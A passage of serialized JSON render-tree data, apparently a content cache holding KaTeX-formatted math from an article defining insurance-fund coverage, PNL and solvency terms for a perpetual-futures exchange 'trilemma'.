type":24,"tag":147,"props":167589,"children":167591},{"className":167590},[9635,27190,9683],[167592],{"type":29,"value":9363},{"type":24,"tag":147,"props":167594,"children":167596},{"style":167595},"top:-3.05em;",[167597,167601],{"type":24,"tag":147,"props":167598,"children":167600},{"className":167599,"style":167582},[9674],[],{"type":24,"tag":147,"props":167602,"children":167603},{},[167604],{"type":24,"tag":147,"props":167605,"children":167608},{"className":167606},[27226,27231,167607],"large-op",[167609],{"type":29,"value":114416},{"type":24,"tag":147,"props":167611,"children":167613},{"className":167612},[27347],[167614],{"type":29,"value":27350},{"type":24,"tag":147,"props":167616,"children":167618},{"className":167617},[9660],[167619],{"type":24,"tag":147,"props":167620,"children":167623},{"className":167621,"style":167622},[9665],"height:1.2777em;",[167624],{"type":24,"tag":147,"props":167625,"children":167626},{},[],{"type":24,"tag":147,"props":167628,"children":167630},{"className":167629,"style":9753},[9714],[],{"type":24,"tag":147,"props":167632,"children":167634},{"className":167633},[9635],[167635,167640],{"type":24,"tag":147,"props":167636,"children":167638},{"className":167637},[9635,27190],[167639],{"type":29,"value":24880},{"type":24,"tag":147,"props":167641,"children":167643},{"className":167642},[9650],[167644],{"type":24,"tag":147,"props":167645,"children":167647},{"className":167646},[9655,27244],[167648,167677],{"type":24,"tag":147,"props":167649,"children":167651},{"className":167650},[9660],[167652,167672],{"type":24,"tag":147,"props":167653,"children":167655},{"className":167654,"style":99159},[9665],[167656],{"type":24,"tag":147,"props":167657,"children":167658},{"style":98686},[167659,167663],{"type":24,"tag":147,"props":167660,"children":167662},{"className":167661,"style":9675},[9674],[],{"type":24,"tag":147,"props":167664,"children":167666},{"className":167665},[9680,9681,9682,9683],[167667],{"type":24,"tag":147,"props":167668,"children":167670},{"className":167669},[9635,27190,9683],[167671],{"type":29,"value":9363},{"type":24,"tag":147,"props":167673,"children":167675},{"className":167674},[27347],[167676],{"type":29,"value":27350},{"type":24,"tag":147,"props":167678,"children":167680},{"className":167679},[9660],[167681],{"type":24,"tag":147,"props":167682,"children":167684},{"className":167683,"style":98713},[9665],[167685],{"type":24,"tag":147,"props":167686,"children":167687},{},[],{"type":24,"tag":147,"props":167689,"children":167690},{"style":166304},[167691,167695],{"type":24,"tag":147,"props":167692,"children":167694},{"className":167693,"style":165736},[9674],[],{"type":24,"tag":147,"props":167696,"children":167698},{"className":167697},[9635],[167699,167703,167707,167712,167716,167779,167783,167788,167793,167798,167855,167860,167864,167868,167873],{"type":24,"tag":147,"props":167700,"children":167702},{"className":167701},[9635],[],{"type":24,"tag":147,"props":167704,"children":167706},{"className":167705,"style":9812},[9714],[],{"type":24,"tag":147,"props":167708,"children":167710},{"className":167709},[9817],[167711],{"type":29,"value":369},{"type":24,"tag":147,"props":167713,"children":167715},{"className":167714,"style":9812},[9714],[],{"type":24,"tag":147,"props":167717,"children":167719},{"className":167718},[27226,167560],[167720],{"type":24,"tag":147,"props":167721,"children":167723},{"className":167722},[9655,27244],[167724,167768],{"type":24,"tag":147,"props":167725,"children":167727},{"className":167726},[9660],[167728,167763],{"type":24,"tag":147,"props":167729,"children":167731},{"className":167730,"style":167573},[9665],[167732,167748],{"type":24,"tag":147,"props":167733,"children":167734},{"style":167577},[167735,167739],{"type":24,"tag":147,"props":167736,"children":167738},{"className":167737,"style":167582},[9674],[],{"type":24,"tag":147,"props":167740,"children":167742},{"className":167741},[9680,9681,9682,9683],[167743],{"type":24,"tag":147,"props":167744,"children":167746},{"className":167745},[9635,27190,9683],[167747],{"type":29,"value":9363},{"type":24,"tag":147,"props":167749,"children":167750},{"style":167595},[167751,167755],{"type":24,"tag":147,"props":167752,"children":167754},{"className":167753,"style":167582},[9674],[],{"type":24,"tag":147,"props":167756,"children":167757},{},[167758],{"type":24,"tag":147,"props":167759,"children":167761},{"className":167760},[27226,27231,167607],[167762],{"type":29,"value":114416},{"type":24,"tag":147,"props":167764,"children":167766},{"className":167765},[27347],[167767],{"type":29,"value":27350},{"type":24,"tag":147,"props":167769,"children":167771},{"className":167770},[9660],[167772],{"type":24,"tag":147,"props":167773,"children":167775},{"className":167774,"style":167622},[9665],[167776],{"type":24,"tag":147,"props":167777,"children":167778},{},[],{"type":24,"tag":147,"props":167780,"children":167782},{"className":167781,"style":9753},[9714],[],{"type":24,"tag":147,"props":167784,"children":167786},{"className":167785},[27226],[167787],{"type":29,"value":165450},{"type":24,"tag":147,"props":167789,"children":167791},{"className":167790},[27319],[167792],{"type":29,"value":480},{"type":24,"tag":147,"props":167794,"children":167796},{"className":167795},[9635],[167797],{"type":29,"value":9694},{"type":24,"tag":147,"props":167799,"children":167801},{"className":167800},[9635],[167802,167807],{"type":24,"tag":147,"props":167803,"children":167805},{"className":167804},[9635,27190],[167806],{"type":29,"value":57047},{"type":24,"tag":147,"props":167808,"children":167810},{"className":167809},[9650],[167811],{"type":24,"tag":147,"props":167812,"children":167814},{"className":167813},[9655,27244],[167815,167844],{"type":24,"tag":147,"props":167816,"children":167818},{"className":167817},[9660],[167819,167839],{"type":24,"tag":147,"props":167820,"children":167822},{"className":167821,"style":99159},[9665],[167823],{"type":24,"tag":147,"props":167824,"children":167825},{"style":98686},[167826,167830],{"type":24,"tag":147,"props":167827,"children":167829},{"className":167828,"style":9675},[9674],[],{"type":24,"tag":147,"props":167831,"children":167833},{"className":167832},[9680,9681,9682,9683],[167834],{"type":24,"tag":147,"props":167835,"children":167837},{"className":167836},[9635,27190,9683],[167838],{"type":29,"value":9363},{"type":24,"tag":147,"props":167840,"children":167842},{"className":167841},[27347],[167843],{"type":29,"value":27350},{"type":24,"tag":147,"props":167845,"children":167847},{"className":167846},[9660],[167848],{"type":24,"tag":147,"props":167849,"children":167851},{"className":167850,"style":98713},[9665],[167852],{"type":24,"tag":147,"props":167853,"children":167854},{},[],{"type":24,"tag":147,"props":167856,"children":167858},{"className":167857},[9746],[167859],{"type":29,"value":9749},{"type":24,"tag":147,"props":167861,"children":167863},{"className":167862,"style":9753},[9714],[],{"type":24,"tag":147,"props":167865,"children":167867},{"className":167866,"style":9753},[9714],[],{"type":24,"tag":147,"props":167869,"children":167871},{"className":167870},[9635],[167872],{"type":29,"value":3173},{"type":24,"tag":147,"props":167874,"children":167876},{"className":167875},[27341],[167877],{"type":29,"value":8758},{"type":24,"tag":147,"props":167879,"children":167880},{"style":166374},[167881,167885],{"type":24,"tag":147,"props":167882,"children":167884},{"className":167883,"style":165736},[9674],[],{"type":24,"tag":147,"props":167886,"children":167888},{"className":167887},[9635],[167889,167893,167897,167902,167906,167969,167973],{"type":24,"tag":147,"props":167890,"children":167892},{"className":167891},[9635],[],{"type":24,"tag":147,"props":167894,"children":167896},{"className":167895,"style":9812},[9714],[],{"type":24,"tag":147,"props":167898,"children":167900},{"className":167899},[9817],[167901],{"type":29,"value":369},{"type":24,"tag":147,"props":167903,"children":167905},{"className":167904,"style":9812},[9714],[],{"type":24,"tag":147,"props":167907,"children":167909},{"className":167908},[27226,167560],[167910],{"type":24,"tag":147,"props":167911,"children":167913},{"className":167912},[9655,27244],[167914,167958],{"type":24,"tag":147,"props":167915,"children":167917},{"className":167916},[9660],[167918,167953],{"type":24,"tag":147,"props":167919,"children":167921},{"className":167920,"style":167573},[9665],[167922,167938],{"type":24,"tag":147,"props":167923,"children":167924},{"style":167577},[167925,167929],{"type":24,"tag":147,"props":167926,"children":167928},{"className":167927,"style":167582},[9674],[],{"type":24,"tag":147,"props":167930,"children":167932},{"className":167931},[9680,9681,9682,9683],[167933],{"type":24,"tag":147,"props":167934,"children":167936},{"className":167935},[9635,27190,9683],[167937],{"type":29,"value":9363},{"type":24,"tag":147,"props":167939,"children":167940},{"style":167595},[167941,167945],{"type":24,"tag":147,"props":167942,"children":167944},{"className":167943,"style":167582},[9674],[],{"type":24,"tag":147,"props":167946,"children":167947},{},[167948],{"type":24,"tag":147,"props":167949,"children":167951},{"className":167950},[27226,27231,167607],[167952],{"type":29,"value":114416},{"type":24,"tag":147,"props":167954,"children":167956},{"className":167955},[27347],[167957],{"type":29,"value":27350},{"type":24,"tag":147,"props":167959,"children":167961},{"className":167960},[9660],[167962],{"type":24,"tag":147,"props":167963,"children":167965},{"className":167964,"style":167622},[9665],[167966],{"type":24,"tag":147,"props":167967,"children":167968},{},[],{"type":24,"tag":147,"props":167970,"children":167972},{"className":167971,"style":9753},[9714],[],{"type":24,"tag":147,"props":167974,"children":167976},{"className":167975},[9635],[167977,167982],{"type":24,"tag":147,"props":167978,"children":167980},{"className":167979,"style":127900},[9635,27190],[167981],{"type":29,"value":55169},{"type":24,"tag":147,"props":167983,"children":167985},{"className":167984},[9650],[167986],{"type":24,"tag":147,"props":167987,"children":167989},{"className":167988},[9655,27244],[167990,168019],{"type":24,"tag":147,"props":167991,"children":167993},{"className":167992},[9660],[167994,168014],{"type":24,"tag":147,"props":167995,"children":167997},{"className":167996,"style":99159},[9665],[167998],{"type":24,"tag":147,"props":167999,"children":168000},{"style":166064},[168001,168005],{"type":24,"tag":147,"props":168002,"children":168004},{"className":168003,"style":9675},[9674],[],{"type":24,"tag":147,"props":168006,"children":168008},{"className":168007},[9680,9681,9682,9683],[168009],{"type":24,"tag":147,"props":168010,"children":168012},{"className":168011},[9635,27190,9683],[168013],{"type":29,"value":9363},{"type":24,"tag":147,"props":168015,"children":168017},{"className":168016},[27347],[168018],{"type":29,"value":27350},{"type":24,"tag":147,"props":168020,"children":168022},{"className":168021},[9660],[168023],{"type":24,"tag":147,"props":168024,"children":168026},{"className":168025,"style":98713},[9665],[168027],{"type":24,"tag":147,"props":168028,"children":168029},{},[],{"type":24,"tag":147,"props":168031,"children":168032},{"style":166445},[168033,168037],{"type":24,"tag":147,"props":168034,"children":168036},{"className":168035,"style":165736},[9674],[],{"type":24,"tag":147,"props":168038,"children":168040},{"className":168039},[9635],[168041,168045,168049,168054,168058,168063,168068,168125,168129,168134,168138,168143,168147,168152,168156,168213,168218,168222,168226,168231],{"type":24,"tag":147,"props":168042,"children":168044},{"className":168043},[9635],[],{"type":24,"tag":147,"props":168046,"children":168048},{"className":168047,"style":9812},[9714],[],{"type":24,"tag":147,"props":168050,"children":168052},{"className":168051},[9817],[168053],{"type":29,"value":369},{"type":24,"tag":147,"props":168055,"children":168057},{"className":168056,"style":9812},[9714],[],{"type":24,"tag":147,"props":168059,"children":168061},{"className":168060},[27226],[168062],{"type":29,"value":165450},{"type":24,"tag":147,"props":168064,"children":168066},{"className":168065},[27319],[168067],{"type":29,"value":480},{"type":24,"tag":147,"props":168069,"children":168071},{"className":168070},[9635],[168072,168077],{"type":24,"tag":147,"props":168073,"children":168075},{"className":168074,"style":98630},[9635,27190],[168076],{"type":29,"value":166323},{"type":24,"tag":147,"props":168078,"children":168080},{"className":168079},[9650],[168081],{"type":24,"tag":147,"props":168082,"children":168084},{"className":168083},[9655,27244],[168085,168114],{"type":24,"tag":147,"props":168086,"children":168088},{"className":168087},[9660],[168089,168109],{"type":24,"tag":147,"props":168090,"children":168092},{"className":168091,"style":147391},[9665],[168093],{"type":24,"tag":147,"props":168094,"children":168095},{"style":115620},[168096,168100],{"type":24,"tag":147,"props":168097,"children":168099},{"className":168098,"style":9675},[9674],[],{"type":24,"tag":147,"props":168101,"children":168103},{"className":168102},[9680,9681,9682,9683],[168104],{"type":24,"tag":147,"props":168105,"children":168107},{"className":168106,"style":27191},[9635,27190,9683],[168108],{"type":29,"value":11612},{"type":24,"tag":147,"props":168110,"children":168112},{"className":168111},[27347],[168113],{"type":29,"value":27350},{"type":24,"tag":147,"props":168115,"children":168117},{"className":168116},[9660],[168118],{"type":24,"tag":147,"props":168119,"children":168121},{"className":168120,"style":98713},[9665],[168122],{"type":24,"tag":147,"props":168123,"children":168124},{},[],{"type":24,"tag":147,"props":168126,"children":168128},{"className":168127,"style":9715},[9714],[],{"type":24,"tag":147,"props":168130,"children":168132},{"className":168131},[9720],[168133],{"type":29,"value":9694},{"type":24,"tag":147,"props":168135,"children":168137},{"className":168136,"style":9715},[9714],[],{"type":24,"tag":147,"props":168139,"children":168141},{"className":168140,"style":100650},[9635,27190],[168142],{"type":29,"value":100684},{"type":24,"tag":147,"props":168144,"children":168146},{"className":168145,"style":9715},[9714],[],{"type":24,"tag":147,"props":168148,"children":168150},{"className":168149},[9720],[168151],{"type":29,"value":9694},{"type":24,"tag":147,"props":168153,"children":168155},{"className":168154,"style":9715},[9714],[],{"type":24,"tag":147,"props":168157,"children":168159},{"className":168158},[9635],[168160,168165],{"type":24,"tag":147,"props":168161,"children":168163},{"className":168162,"style":98864},[9635,27190],[168164],{"type":29,"value":98867},{"type":24,"tag":147,"props":168166,"children":168168},{"className":168167},[9650],[168169],{"type":24,"tag":147,"props":168170,"children":168172},{"className":168171},[9655,27244],[168173,168202],{"type":24,"tag":147,"props":168174,"children":168176},{"className":168175},[9660],[168177,168197],{"type":24,"tag":147,"props":168178,"children":168180},{"className":168179,"style":147391},[9665],[168181],{"type":24,"tag":147,"props":168182,"children":168183},{"style":116050},[168184,168188],{"type":24,"tag":147,"props":168185,"children":168187},{"className":168186,"style":9675},[9674],[],{"type":24,"tag":147,"props":168189,"children":168191},{"className":168190},[9680,9681,9682,9683],[168192],{"type":24,"tag":147,"props":168193,"children":168195},{"className":168194,"style":27191},[9635,27190,9683],[168196],{"type":29,"value":11612},{"type":24,"tag":147,"props":168198,"children":168200},{"className":168199},[27347],[168201],{"type":29,"value":27350},{"type":24,"tag":147,"props":168203,"children":168205},{"className":168204},[9660],[168206],{"type":24,"tag":147,"props":168207,"children":168209},{"className":168208,"style":98713},[9665],[168210],{"type":24,"tag":147,"props":168211,"children":168212},{},[],{"type":24,"tag":147,"props":168214,"children":168216},{"className":168215},[9746],[168217],{"type":29,"value":9749},{"type":24,"tag":147,"props":168219,"children":168221},{"className":168220,"style":9753},[9714],[],{"type":24,"tag":147,"props":168223,"children":168225},{"className":168224,"style":9753},[9714],[],{"type":24,"tag":147,"props":168227,"children":168229},{"className":168228},[9635],[168230],{"type":29,"value":3173},{"type":24,"tag":147,"props":168232,"children":168234},{"className":168233},[27341],[168235],{"type":29,"value":8758},{"type":24,"tag":147,"props":168237,"children":168239},{"className":168238},[27347],[168240],{"type":29,"value":27350},{"type":24,"tag":147,"props":168242,"children":168244},{"className":168243},[9660],[168245],{"type":24,"tag":147,"props":168246,"children":168248},{"className":168247,"style":166526},[9665],[168249],{"type":24,"tag":147,"props":168250,"children":168251},{},[],{"type":24,"tag":25,"props":168253,"children":168254},{},[168255,168256,168333,168335,168360,168362,168439,168441,168518],{"type":29,"value":480},{"type":24,"tag":80,"props":168257,"children":168259},{"className":168258},[9607,9608],[168260],{"type":24,"tag":147,"props":168261,"children":168263},{"className":168262},[9613],[168264],{"type":24,"tag":147,"props":168265,"children":168267},{"className":168266,"ariaHidden":9619},[9618],[168268],{"type":24,"tag":147,"props":168269,"children":168271},{"className":168270},[9624],[168272,168276],{"type":24,"tag":147,"props":168273,"children":168275},{"className":168274,"style":116618},[9629],[],{"type":24,"tag":147,"props":168277,"children":168279},{"className":168278},[9635],[168280,168285],{"type":24,"tag":147,"props":168281,"children":168283},{"className":168282,"style":27191},[9635,27190],[168284],{"type":29,"value":27194},{"type":24,"tag":147,"props":168286,"children":168288},{"className":168287},[9650],[168289],{"type":24,"tag":147,"props":168290,"children":168292},{"className":168291},[9655,27244],[168293,168322],{"type":24,"tag":147,"props":168294,"children":168296},{"className":168295},[9660],[168297,168317],{"type":24,"tag":147,"props":168298,"children":168300},{"className":168299,"style":115053},[9665],[168301],{"type":24,"tag":147,"props":168302,"children":168303},{"style":165769},[168304,168308],{"type":24,"tag":147,"props":168305,"children":168307},{"className":168306,"style":9675},[9674],[],{"type":24,"tag":147,"props":168309,"children":168311},{"className":168310},[9680,9681,9682,9683],[168312],{"type":24,"tag":147,"props":168313,"children":168315},{"className":168314},[9635,27190,9683],[168316],{"type":29,"value":61991},{"type":24,"tag":147,"props":168318,"children":168320},{"className":168319},[27347],[168321],{"type":29,"value":27350},{"type":24,"tag":147,"props":168323,"children":168325},{"className":168324},[9660],[168326],{"type":24,"tag":147,"props":168327,"children":168329},{"className":168328,"style":98713},[9665],[168330],{"type":24,"tag":147,"props":168331,"children":168332},{},[],{"type":29,"value":168334},": mark price from different sources; ",{"type":24,"tag":80,"props":168336,"children":168338},{"className":168337},[9607,9608],[168339],{"type":24,"tag":147,"props":168340,"children":168342},{"className":168341},[9613],[168343],{"type":24,"tag":147,"props":168344,"children":168346},{"className":168345,"ariaHidden":9619},[9618],[168347],{"type":24,"tag":147,"props":168348,"children":168350},{"className":168349},[9624],[168351,168355],{"type":24,"tag":147,"props":168352,"children":168354},{"className":168353,"style":27185},[9629],[],{"type":24,"tag":147,"props":168356,"children":168358},{"className":168357,"style":100650},[9635,27190],[168359],{"type":29,"value":100684},{"type":29,"value":168361},": insurance fund, roughly the 5M on testnet HL; ",{"type":24,"tag":80,"props":168363,"children":168365},{"className":168364},[9607,9608],[168366],{"type":24,"tag":147,"props":168367,"children":168369},{"className":168368},[9613],[168370],{"type":24,"tag":147,"props":168371,"children":168373},{"className":168372,"ariaHidden":9619},[9618],[168374],{"type":24,"tag":147,"props":168375,"children":168377},{"className":168376},[9624],[168378,168382],{"type":24,"tag":147,"props":168379,"children":168381},{"className":168380,"style":115591},[9629],[],{"type":24,"tag":147,"props":168383,"children":168385},{"className":168384},[9635],[168386,168391],{"type":24,"tag":147,"props":168387,"children":168389},{"className":168388,"style":99116},[9635,27190],[168390],{"type":29,"value":165907},{"type":24,"tag":147,"props":168392,"children":168394},{"className":168393},[9650],[168395],{"type":24,"tag":147,"props":168396,"children":168398},{"className":168397},[9655,27244],[168399,168428],{"type":24,"tag":147,"props":168400,"children":168402},{"className":168401},[9660],[168403,168423],{"type":24,"tag":147,"props":168404,"children":168406},{"className":168405,"style":99159},[9665],[168407],{"type":24,"tag":147,"props":168408,"children":168409},{"style":99163},[168410,168414],{"type":24,"tag":147,"props":168411,"children":168413},{"className":168412,"style":9675},[9674],[],{"type":24,"tag":147,"props":168415,"children":168417},{"className":168416},[9680,9681,9682,9683],[168418],{"type":24,"tag":147,"props":168419,"children":168421},{"className":168420},[9635,27190,9683],[168422],{"type":29,"value":9363},{"type":24,"tag":147,"props":168424,"children":168426},{"className":168425},[27347],[168427],{"type":29,"value":27350},{"type":24,"tag":147,"props":168429,"children":168431},{"className":168430},[9660],[168432],{"type":24,"tag":147,"props":168433,"children":168435},{"className":168434,"style":98713},[9665],[168436],{"type":24,"tag":147,"props":168437,"children":168438},{},[],{"type":29,"value":168440}," is PNL for longs, negated for shorts; ",{"type":24,"tag":80,"props":168442,"children":168444},{"className":168443},[9607,9608],[168445],{"type":24,"tag":147,"props":168446,"children":168448},{"className":168447},[9613],[168449],{"type":24,"tag":147,"props":168450,"children":168452},{"className":168451,"ariaHidden":9619},[9618],[168453],{"type":24,"tag":147,"props":168454,"children":168456},{"className":168455},[9624],[168457,168461],{"type":24,"tag":147,"props":168458,"children":168460},{"className":168459,"style":115591},[9629],[],{"type":24,"tag":147,"props":168462,"children":168464},{"className":168463},[9635],[168465,168470],{"type":24,"tag":147,"props":168466,"children":168468},{"className":168467,"style":127900},[9635,27190],[168469],{"type":29,"value":55169},{"type":24,"tag":147,"props":168471,"children":168473},{"className":168472},[9650],[168474],{"type":24,"tag":147,"props":168475,"children":168477},{"className":168476},[9655,27244],[168478,168507],{"type":24,"tag":147,"props":168479,"children":168481},{"className":168480},[9660],[168482,168502],{"type":24,"tag":147,"props":168483,"children":168485},{"className":168484,"style":99159},[9665],[168486],{"type":24,"tag":147,"props":168487,"children":168488},{"style":166064},[168489,168493],{"type":24,"tag":147,"props":168490,"children":168492},{"className":168491,"style":9675},[9674],[],{"type":24,"tag":147,"props":168494,"children":168496},{"className":168495},[9680,9681,9682,9683],[168497],{"type":24,"tag":147,"props":168498,"children":168500},{"className":168499},[9635,27190,9683],[168501],{"type":29,"value":9363},{"type":24,"tag":147,"props":168503,"children":168505},{"className":168504},[27347],[168506],{"type":29,"value":27350},{"type":24,"tag":147,"props":168508,"children":168510},{"className":168509},[9660],[168511],{"type":24,"tag":147,"props":168512,"children":168514},{"className":168513,"style":98713},[9665],[168515],{"type":24,"tag":147,"props":168516,"children":168517},{},[],{"type":29,"value":168519}," is the positive part of PNL.)",{"type":24,"tag":25,"props":168521,"children":168522},{},[168523],{"type":29,"value":168524},"And let's make the trilemma definitions concrete:",{"type":24,"tag":22292,"props":168526,"children":168527},{},[168528,169002,169566],{"type":24,"tag":2678,"props":168529,"children":168530},{},[168531,168535,168536,168790,168792,168843,168845,168948,168949,169000],{"type":24,"tag":8545,"props":168532,"children":168533},{},[168534],{"type":29,"value":165648},{"type":29,"value":38512},{"type":24,"tag":80,"props":168537,"children":168539},{"className":168538},[9607,9608],[168540],{"type":24,"tag":147,"props":168541,"children":168543},{"className":168542},[9613],[168544],{"type":24,"tag":147,"props":168545,"children":168547},{"className":168546,"ariaHidden":9619},[9618],[168548,168575],{"type":24,"tag":147,"props":168549,"children":168551},{"className":168550},[9624],[168552,168557,168562,168566,168571],{"type":24,"tag":147,"props":168553,"children":168556},{"className":168554,"style":168555},[9629],"height:0.7278em;vertical-align:-0.0833em;",[],{"type":24,"tag":147,"props":168558,"children":168560},{"className":168559},[9635],[168561],{"type":29,"value":1154},{"type":24,"tag":147,"props":168563,"children":168565},{"className":168564,"style":9715},[9714],[],{"type":24,"tag":147,"props":168567,"children":168569},{"className":168568},[9720],[168570],{"type":29,"value":9694},{"type":24,"tag":147,"props":168572,"children":168574},{"className":168573,"style":9715},[9714],[],{"type":24,"tag":147,"props":168576,"children":168578},{"className":168577},[9624],[168579,168584],{"type":24,"tag":147,"props":168580,"children":168583},{"className":168581,"style":168582},[9629],"height:1.3337em;vertical-align:-0.4453em;",[],{"type":24,"tag":147,"props":168585,"children":168587},{"className":168586},[9635],[168588,168592,168786],{"type":24,"tag":147,"props":168589,"children":168591},{"className":168590},[27319,119138],[],{"type":24,"tag":147,"props":168593,"children":168595},{"className":168594},[119143],[168596],{"type":24,"tag":147,"props":168597,"children":168599},{"className":168598},[9655,27244],[168600,168774],{"type":24,"tag":147,"props":168601,"children":168603},{"className":168602},[9660],[168604,168769],{"type":24,"tag":147,"props":168605,"children":168608},{"className":168606,"style":168607},[9665],"height:0.8884em;",[168609,168683,168694],{"type":24,"tag":147,"props":168610,"children":168611},{"style":119160},[168612,168616],{"type":24,"tag":147,"props":168613,"children":168615},{"className":168614,"style":117792},[9674],[],{"type":24,"tag":147,"props":168617,"children":168619},{"className":168618},[9680,9681,9682,9683],[168620],{"type":24,"tag":147,"props":168621,"children":168623},{"className":168622},[9635,9683],[168624],{"type":24,"tag":147,"props":168625,"children":168627},{"className":168626},[9635,9683],[168628,168633],{"type":24,"tag":147,"props":168629,"children":168631},{"className":168630,"style":98630},[9635,27190,9683],[168632],{"type":29,"value":166323},{"type":24,"tag":147,"props":168634,"children":168636},{"className":168635},[9650],[168637],{"type":24,"tag":147,"props":168638,"children":168640},{"className":168639},[9655,27244],[168641,168671],{"type":24,"tag":147,"props":168642,"children":168644},{"className":168643},[9660],[168645,168666],{"type":24,"tag":147,"props":168646,"children":168648},{"className":168647,"style":117952},[9665],[168649],{"type":24,"tag":147,"props":168650,"children":168652},{"style":168651},"top:-2.3567em;margin-left:-0.0278em;margin-right:0.0714em;",[168653,168657],{"type":24,"tag":147,"props":168654,"children":168656},{"className":168655,"style":114481},[9674],[],{"type":24,"tag":147,"props":168658,"children":168660},{"className":168659},[9680,114486,114487,9683],[168661],{"type":24,"tag":147,"props":168662,"children":168664},{"className":168663,"style":27191},[9635,27190,9683],[168665],{"type":29,"value":11612},{"type":24,"tag":147,"props":168667,"children":168669},{"className":168668},[27347],[168670],{"type":29,"value":27350},{"type":24,"tag":147,"props":168672,"children":168674},{"className":168673},[9660],[168675],{"type":24,"tag":147,"props":168676,"children":168679},{"className":168677,"style":168678},[9665],"height:0.1433em;",[168680],{"type":24,"tag":147,"props":168681,"children":168682},{},[],{"type":24,"tag":147,"props":168684,"children":168685},{"style":119193},[168686,168690],{"type":24,"tag":147,"props":168687,"children":168689},{"className":168688,"style":117792},[9674],[],{"type":24,"tag":147,"props":168691,"children":168693},{"className":168692,"style":119203},[119202],[],{"type":24,"tag":147,"props":168695,"children":168697},{"style":168696},"top:-3.4101em;",[168698,168702],{"type":24,"tag":147,"props":168699,"children":168701},{"className":168700,"style":117792},[9674],[],{"type":24,"tag":147,"props":168703,"children":168705},{"className":168704},[9680,9681,9682,9683],[168706],{"type":24,"tag":147,"props":168707,"children":168709},{"className":168708},[9635,9683],[168710],{"type":24,"tag":147,"props":168711,"children":168713},{"className":168712},[9635,9683],[168714,168719],{"type":24,"tag":147,"props":168715,"children":168717},{"className":168716,"style":128397},[9635,27190,9683],[168718],{"type":29,"value":128400},{"type":24,"tag":147,"props":168720,"children":168722},{"className":168721},[9650],[168723],{"type":24,"tag":147,"props":168724,"children":168726},{"className":168725},[9655,27244],[168727,168758],{"type":24,"tag":147,"props":168728,"children":168730},{"className":168729},[9660],[168731,168753],{"type":24,"tag":147,"props":168732,"children":168735},{"className":168733,"style":168734},[9665],"height:0.2963em;",[168736],{"type":24,"tag":147,"props":168737,"children":168739},{"style":168738},"top:-2.357em;margin-left:-0.0077em;margin-right:0.0714em;",[168740,168744],{"type":24,"tag":147,"props":168741,"children":168743},{"className":168742,"style":114481},[9674],[],{"type":24,"tag":147,"props":168745,"children":168747},{"className":168746},[9680,114486,114487,9683],[168748],{"type":24,"tag":147,"props":168749,"children":168751},{"className":168750},[9635,27190,9683],[168752],{"type":29,"value":27332},{"type":24,"tag":147,"props":168754,"children":168756},{"className":168755},[27347],[168757],{"type":29,"value":27350},{"type":24,"tag":147,"props":168759,"children":168761},{"className":168760},[9660],[168762],{"type":24,"tag":147,"props":168763,"children":168765},{"className":168764,"style":114506},[9665],[168766],{"type":24,"tag":147,"props":168767,"children":168768},{},[],{"type":24,"tag":147,"props":168770,"children":168772},{"className":168771},[27347],[168773],{"type":29,"value":27350},{"type":24,"tag":147,"props":168775,"children":168777},{"className":168776},[9660],[168778],{"type":24,"tag":147,"props":168779,"children":168782},{"className":168780,"style":168781},[9665],"height:0.4453em;",[168783],{"type":24,"tag":147,"props":168784,"children":168785},{},[],{"type":24,"tag":147,"props":168787,"children":168789},{"className":168788},[27341,119138],[],{"type":29,"value":168791}," — how much of the total bad debt was actually covered. ",{"type":24,"tag":80,"props":168793,"children":168795},{"className":168794},[9607,9608],[168796],{"type":24,"tag":147,"props":168797,"children":168799},{"className":168798},[9613],[168800],{"type":24,"tag":147,"props":168801,"children":168803},{"className":168802,"ariaHidden":9619},[9618],[168804,168830],{"type":24,"tag":147,"props":168805,"children":168807},{"className":168806},[9624],[168808,168812,168817,168821,168826],{"type":24,"tag":147,"props":168809,"children":168811},{"className":168810,"style":27185},[9629],[],{"type":24,"tag":147,"props":168813,"children":168815},{"className":168814,"style":27649},[9635,27190],[168816],{"type":29,"value":27652},{"type":24,"tag":147,"props":168818,"children":168820},{"className":168819,"style":9812},[9714],[],{"type":24,"tag":147,"props":168822,"children":168824},{"className":168823},[9817],[168825],{"type":29,"value":369},{"type":24,"tag":147,"props":168827,"children":168829},{"className":168828,"style":9812},[9714],[],{"type":24,"tag":147,"props":168831,"children":168833},{"className":168832},[9624],[168834,168838],{"type":24,"tag":147,"props":168835,"children":168837},{"className":168836,"style":99661},[9629],[],{"type":24,"tag":147,"props":168839,"children":168841},{"className":168840},[9635],[168842],{"type":29,"value":1154},{"type":29,"value":168844}," means fully solvent (",{"type":24,"tag":80,"props":168846,"children":168848},{"className":168847},[9607,9608],[168849],{"type":24,"tag":147,"props":168850,"children":168852},{"className":168851},[9613],[168853],{"type":24,"tag":147,"props":168854,"children":168856},{"className":168855,"ariaHidden":9619},[9618],[168857,168935],{"type":24,"tag":147,"props":168858,"children":168860},{"className":168859},[9624],[168861,168865,168922,168926,168931],{"type":24,"tag":147,"props":168862,"children":168864},{"className":168863,"style":116618},[9629],[],{"type":24,"tag":147,"props":168866,"children":168868},{"className":168867},[9635],[168869,168874],{"type":24,"tag":147,"props":168870,"children":168872},{"className":168871,"style":128397},[9635,27190],[168873],{"type":29,"value":128400},{"type":24,"tag":147,"props":168875,"children":168877},{"className":168876},[9650],[168878],{"type":24,"tag":147,"props":168879,"children":168881},{"className":168880},[9655,27244],[168882,168911],{"type":24,"tag":147,"props":168883,"children":168885},{"className":168884},[9660],[168886,168906],{"type":24,"tag":147,"props":168887,"children":168889},{"className":168888,"style":166479},[9665],[168890],{"type":24,"tag":147,"props":168891,"children":168892},{"style":166483},[168893,168897],{"type":24,"tag":147,"props":168894,"children":168896},{"className":168895,"style":9675},[9674],[],{"type":24,"tag":147,"props":168898,"children":168900},{"className":168899},[9680,9681,9682,9683],[168901],{"type":24,"tag":147,"props":168902,"children":168904},{"className":168903},[9635,27190,9683],[168905],{"type":29,"value":27332},{"type":24,"tag":147,"props":168907,"children":168909},{"className":168908},[27347],[168910],{"type":29,"value":27350},{"type":24,"tag":147,"props":168912,"children":168914},{"className":168913},[9660],[168915],{"type":24,"tag":147,"props":168916,"children":168918},{"className":168917,"style":98713},[9665],[168919],{"type":24,"tag":147,"props":168920,"children":168921},{},[],{"type":24,"tag":147,"props":168923,"children":168925},{"className":168924,"style":9812},[9714],[],{"type":24,"tag":147,"props":168927,"children":168929},{"className":168928},[9817],[168930],{"type":29,"value":369},{"type":24,"tag":147,"props":168932,"children":168934},{"className":168933,"style":9812},[9714],[],{"type":24,"tag":147,"props":168936,"children":168938},{"className":168937},[9624],[168939,168943],{"type":24,"tag":147,"props":168940,"children":168942},{"className":168941,"style":99661},[9629],[],{"type":24,"tag":147,"props":168944,"